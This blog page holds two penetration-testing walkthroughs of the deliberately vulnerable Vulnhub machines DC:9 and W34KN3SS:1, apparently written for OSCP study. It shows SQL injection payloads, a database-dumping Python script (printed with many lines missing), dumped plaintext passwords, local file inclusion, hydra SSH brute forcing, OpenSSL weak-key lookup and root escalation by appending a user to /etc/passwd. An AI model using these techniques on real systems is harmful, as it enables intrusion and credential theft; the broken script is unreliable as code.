Sunday 14 February 2021

Vulnhub Writeup - DC: 9

Vulnhub - dc-9

Vulnhub Writeup - DC: 9

You can find the box on Vulnhub here

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

dc-9 login

Initial Recon

nmap host scan to discover the boxes IP

nmap -sn

nmap host scan

autorecon to run a full nmap and some other tools on the machine

sudo autorecon

autorecon scan

A few things to note from the nmap-full tcp scan and the nikto scan

  • /config.php exists (blank from front end)
  • port 80/HTTP open
  • port 22/SSH is filtered remember this!
  • Apache/2.4.38 (Debian)

nmap ports

nikto results


A gobuster scan of the site reveals a bunch of php files to browse to

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt,bak -u

gobuster results

Browsing around the site leads to a few initial findings to investigate

  • possible sqli on search.php / results.php
  • possible sqli on manage.php (login)
  • possible brute force on manage.php (login)
  • possible usernames on display.php

At this point, I reset the box as I had left some junk in the database. From now on the machine is at

Here is a normal search

The search page

Search results

SQL Injection in results.php

Setting up a burp intruder scan to check for SQLi. Send a normal search through Burpsuite, choose the relevant POST request in HTTP History tab and send to intruder with Ctrl + I

intruder setup

Loading quick-SQLi.txt from seclists

intruder setup 2

After clicking start attack and waiting for the results, sorting by the Length column shows some interesting results. Results here that are 1248 bytes are “0 results” responses. Results at 1359 bytes are showing the single result of Barney Rubble and results that are 3357 bytes are showing all results from the table.

intruder results

The most interesting result is when sending the admin' or '1'='1'#. This shows us that this is a valid SQL injection. The POST data search=barneyadmin'%20or%20'1'%3d'1'# or search=barneyadmin' or '1'='1'# returns all of the results from the table. A possible SQL query that this might end up as could be

SELECT * From users WHERE firstname = 'barneyadmin' OR '1'='1'#

It also shows that # is being treated as a comment character and removes any additional strings from the query. This means it can likely be used to dump the whole database.

Manual SQL Injection &

Since I’m studying for OSCP, I won’t use SQLmap here and will instead manually dump the database by writing a script. First step is to get a valid SQL statement that can be used to return data from other tables. For this I will use the UNION SELECT method.

To craft a valid UNION SELECT, it’s first required to find the number of columns in the original query. To do this, ORDER BY can be used.

Since there are at least 5 columns being returned to the UI, I’ll start by trying ORDER BY 5

I’ll enter this into the search box

' OR '1'='1' ORDER BY 5#

This results in the output being ordered by the Phone Number column. ORDER BY 6 results in sorting by email

Search ordered by email

search ordered by phone number using ' OR '1'='1' ORDER BY 5#

no results

Ordering by 7 shows 0 results so this likely was an invalid SQL statement

So we can gather the original statement returns 6 columns and therefore a valid UNION SELECT statement would be

' OR '1'='1' UNION SELECT 1,2,3,4,5,@@version#

valid union select

This means it’s possible to return arbitrary data from the database.

Following from this, the concat keyword can be used to join results into a single column and therefore any data can be extracted.

Using this logic, I put together a python script to dump all DBs on the system.


import requests
import urllib.parse
import re
from tabulate import tabulate
import colorama
from colorama import Fore, Style

endPattern = re.compile(r'<\|end')
startStr = 'start|>'

def getTables(baseUrl, endPattern, startStr, dbName):
    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',table_name,'<|end'),5,6 from information_schema.tables WHERE table_schema='" + dbName + "'" + "#"}
    x =, data = searchData)
    for line in rawLines:
    return array


def getColumns(baseUrl, endPattern, startStr, dbName, tableName):
    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',column_name,'<|end'),5,6 from information_schema.columns WHERE table_name='" + tableName + "'" + "#"}
    x =, data = searchData)
    for line in rawLines:
    return array


def dumpTable(baseUrl, endPattern, startStr, dbName, tableName):
    cols = getColumns(baseUrl,endPattern,startStr,dbName,tableName)

    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>'," + colstr + ",'<|end'),5,6 from " + dbName + "." + tableName + "#"}

    #input("Continue [Enter]: ")
    x =, data = searchData)
    for line in rawLines:
    print(tabulate(array, headers=cols))


def dumpDb(baseUrl, endPattern, startStr, dbName):
    for table in tables:
        print(Fore.YELLOW + table)
        input("Continue [Enter]: ")


def getDbs(baseUrl, endPattern, startStr):

    searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',schema_name,'<|end'),5,6 from information_schema.schemata" + "#"}
    x =, data = searchData)

    for line in rawLines:
    while response.lower() != 'q':
        for count in range(0,len(array)):
            print("[" + str(count) + "] " + array[count])
        print("[Q] Quit")
        response = input("Enter Selection: ")
        if response.isnumeric():
            if int(response) < len(array):


Running this script, I can dump database tables and other interesting information.

script running

db version


admin password hash in “Staff” db is as follows. It can be cracked easily at

admin password in db

856f5de590ef37314e7c3bdf6f8a66dc md5 transorbital1

UserDetails table has some plaintext passwords

  id  firstname    lastname    username    password       reg_date
----  -----------  ----------  ----------  -------------  -------------------

1  Mary         Moe         marym       3kfs86sfd      2019-12-29 16:58:26
2  Julie        Dooley      julied      468sfdfsd2     2019-12-29 16:58:26
3  Fred         Flintstone  fredf       4sfd87sfd1     2019-12-29 16:58:26
4  Barney       Rubble      barneyr     RocksOff       2019-12-29 16:58:26
5  Tom          Cat         tomc        TC&TheBoyz     2019-12-29 16:58:26
6  Jerry        Mouse       jerrym      B8m#48sd       2019-12-29 16:58:26
7  Wilma        Flintstone  wilmaf      Pebbles        2019-12-29 16:58:26
8  Betty        Rubble      bettyr      BamBam01       2019-12-29 16:58:26
9  Chandler     Bing        chandlerb   UrAG0D!        2019-12-29 16:58:26
10  Joey         Tribbiani   joeyt       Passw0rd       2019-12-29 16:58:26
11  Rachel       Green       rachelg     yN72#dsd       2019-12-29 16:58:26
12  Ross         Geller      rossg       ILoveRachel    2019-12-29 16:58:26
13  Monica       Geller      monicag     3248dsds7s     2019-12-29 16:58:26
14  Phoebe       Buffay      phoebeb     smellycats     2019-12-29 16:58:26
15  Scooter      McScoots    scoots      YR3BVxxxw87    2019-12-29 16:58:26
16  Donald       Trump       janitor     Ilovepeepee    2019-12-29 16:58:26
17  Scott        Morrison    janitor2    Hawaii-Five-0  2019-12-29 16:58:28

Logging in as admin user & Local File Inclusion

Logging in as admin on /manage.php gives some extra functionality to add items to the database. But one thing caught my eye on the page - “File does not exist”. This hints at a possible Local File Inclusion (LFI) vulnerability.

file not found

I tried a few things in here

None of these worked, but the standard ../../../../../../../ works!

working LFI

I went through the high on coffee LFI cheatsheet and found some interesting stuff but nothing that could get code execution. /proc/self/fd/13 appears to show the PHP Session information so I wondered if I could change the logged in username somehow.


If it was possible to change the username from admin to <?php phpinfo(); ?> then maybe I could get code execution here.

Unfortunately that was a dead end and I had to get a hint at this point to continue the box. Remember that port 22 is filtered? This is a hint that port knocking might be in use on the box. The default location on Debian for the knockd.conf file is /etc/knockd.conf.

Someone’s knocking on the door


The OpenSSH sequence is as follows

[openSSH] sequence = 7469,8475,9842

So I ran the following to open up the ssh port, running nc will attempt to open a connection to each port in order and hopefully open the SSH port.

nc -w 1 7469; nc -w 1 8475; nc -w 1 9842

Opening SSH

SSH Brute force

Cool. So now SSH is open, the username / password combinations found in the database can be used to attempt a brute force attack using hydra.

I dumped the username column found in the UserDetails table above into usernames.txt. Same for passwords into passwords.txt. I also included root and admin in the usernames file and transorbital1 in the passwords file.

Hydra SSH brute force, using 4 threads as per recommendation from hydra help.

hydra ssh:// -L ./usernames.txt -P ./passwords.txt -T4 

hydra results

OK so 3 accounts to try out on the box. After logging into each user and checking the home folders, there is a hidden directory in janitor’s home folder with some additional passwords.

additional passwords

Adding the unique ones to the passwords.txt and re-running hydra reveals a new account

hydra results 2

One of the first things I run as a user on a box is sudo -l before running any recon scripts, in this case it’s lucky!

sudo list

Trying out the binary

Using file /opt/devstuff/dist/test/test shows that this is a linux ELF binary. it appears the binary will read one file and append another. I created 2 test files and ran the binary against them. It appears to append the contents of the file in the first argument to the file in the second argument.

sudo binary tests

running with sudo permissions shows that root is writing the file.

write as root

A method to gain root privileges with a write-as-root ability is to add a new user to the /etc/passwd file.

generate a password hash with openssl

openssl passwd -1 -salt salt pass123

create a new file called append-user.txt with the new user account and password hash as follows


run the append script with sudo

sudo /opt/devstuff/dist/test/test append-user.txt /etc/passwd

su to the new user with password pass123 as above

fredf@dc-9:~$ su newuser
root@dc-9:/home/fredf# id
uid=0(root) gid=0(root) groups=0(root)

Job Done!

And we’re done. Thanks for reading!

Written with StackEdit.

Vulnhub Writeup - W34KN3SS: 1

Vulnhub - w34kn3ss

Vulnhub - w34kness: 1 Writeup

You can find the box on Vulnhub here

The matrix is controlling this machine, neo is trying to escape from it and take back the control on it , your goal is to help neo to gain access as a “root” to this machine , through this machine you will need to perform a hard enumration on the target and understand what is the main idea of it , and exploit every possible “weakness” that you can found , also you will be facing some upnormal behaviours during exploiting this machine.

This machine was made for Jordan’s Top hacker 2018 CTF , we tried to make it simulate a real world attacks “as much as possible” in order to improve your penetration testing skills , also we but a little tricky techniques on it so you can learn more about some unique skills.

The machine was tested on vmware (player / workstation) and works without any problems , so we recommend to use VMware to run it , Also works fine using virtualbox.

Difficulty: Intermediate , you need to think out of the box and collect all the puzzle pieces in order to get the job done.

The machine is already got DHCP enabled , so you will not have any problems with networking.

Happy Hacking !

w3kn3ss login

Initial Recon

nmap host scan to discover the boxes IP

nmap -sn

nmap host scan

autorecon to run a full nmap and some other tools on the machine

sudo autorecon

running autorecon

checking the nmap scan, the following information appears to be important

  • The host is listening on both HTTP/80 and HTTPS/443
  • There is an SSL Certificate presented on HTTPS which gives us a host name to use - weakness.jth
  • SSH is open

nmap tcp results

Checking out the webserver

I added the hostname to /etc/hosts on my kali VM.

sudo nano /etc/hosts

hosts file

I ran 4 gobuster scans on the webserver, using all combinations of hostname, IP, HTTP and HTTPS. The results differ when connecting to the host using the IP and Hostname weakness.jth.

scanning the host using, or https://weakness.jth gives the following results

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x bak,php,html,txt -u

gobuster results IP

scanning the host using http://weakness.jth gives the following results

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x bak,php,html,txt -u http://weakness.jth

gobuster results hostname

Browsing around the http site gives us some clues as to what will be needed to attack this box. index.html is just the default Ubuntu Apache2 page.

The /test URL gives a hint

http /test

blog appears to be an empty directory

http /blog

same with /uploads

http /uploads

The /upload.php appears to be a script where files can be uploaded.

http /upload.php

sending a random jpg file to the upload.php script results in the following

http /upload.php sending a file

the HTTP Post request and response looks like this.

http /upload.php request & response

The base64 in the response decodes as follows

V0UgSlVTVCBURVNUIFRISVMgU0NSSVBU<!-- Not everything you see is real , maybe it's just an illusion ;) -->V0UgSlVTVCBURVNUIFRISVMgU0NSSVBUIEFHQUlOIDpE


Looks interesting and could be an entry point to upload a webshell or similar. I’ll keep looking through the website before exploring this further. Also note the title of the page - “N30 UPLOAD.”

Browsing to the hostname results in the same default index.html at the web root.

No luck on /robots.txt


the /private folder has a couple of files that can be downloaded

/private folder

the file contains what looks to be an SSH public key, and the notes.txt tells us the key was generated using openssl 0.9.8c-1.

files content

Getting SSH Access to the machine

This looks like a big hint, is there a vulnerability for this version of openssl?

searchsploit openssh 0.9.8

exact version in searchsploit

Yep! Looks like this exact version has an issue. It appears there is a limited set of keys that are produced by this version of openssl which leaves it vulnerable to brute force.

searchsploit details

I downloaded the tar file from github and unzipped it.

cd /tmp
tar -xvf 5622.tar.bz2

And then search all the files for the public key in

cd rsa
grep -r "$(cat ~/htb/w34kn3ss/web/" * 

and we get a hit

grep match

searching for other files with the same name reveals a private key

private key

copying the file to a working directory, setting the right permissions and then using it to connect to the box

cp 2048/4161de56829de2fe64b9055711f531c1-2537 ~/htb/w34kn3ss/id_rsa
cd ~/htb/w34kn3ss/id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@weakness.jth

not working :/

ssh not working

Looking back through at the webserver certificate gives us a possible username - n30@weakness.jth

Server Certificate Username

let’s try it

ssh -i id_rsa n30@weakness.jth

We're in!


Once logged in cat user.txt for the user flag.

Priviedge Escallation

Checking out the user’s home directory, we find a file named “code” alongside the user flag. A quick check with file shows that it’s a python 2.7 byte-compiled file. Running it generates some kind of hash.

running code

I downloaded the file to my local system and ran uncompyle6 against the byte code to reveal python script code.

uncompyle6 github repo. It can also be installed with pip

python2 -m pip install uncompyle6

Copy the file and uncompyle

scp -i id_rsa n30@weakness.jth:/home/n30/code ./code
mv code code.pyc
uncompyle6 code.pyc

decompiling the python byte code

I dumped the python code to a file - and added a line in the code to print the inf variable. Running the script prints the inf variable to screen.

edit python

getting the inf variable

looks a lot like a credential to me. With that password, we can try to see if the user has sudo access sudo -l. Since n30 can run anything as sudo, simply running sudo su gives us root.


Let’s check out that upload.php from earlier while we’re here.

upload php script

Turns out it is just a decoy.

Thanks for reading!

Written with StackEdit.

Nutanix CE 2.0 on ESXi AOS Upgrade Hangs

AOS Upgrade on ESXi from 6.5.2 to hangs. Issue I have tried to upgrade my Nutanix CE 2.0 based on ESXi to a newer AOS version for ...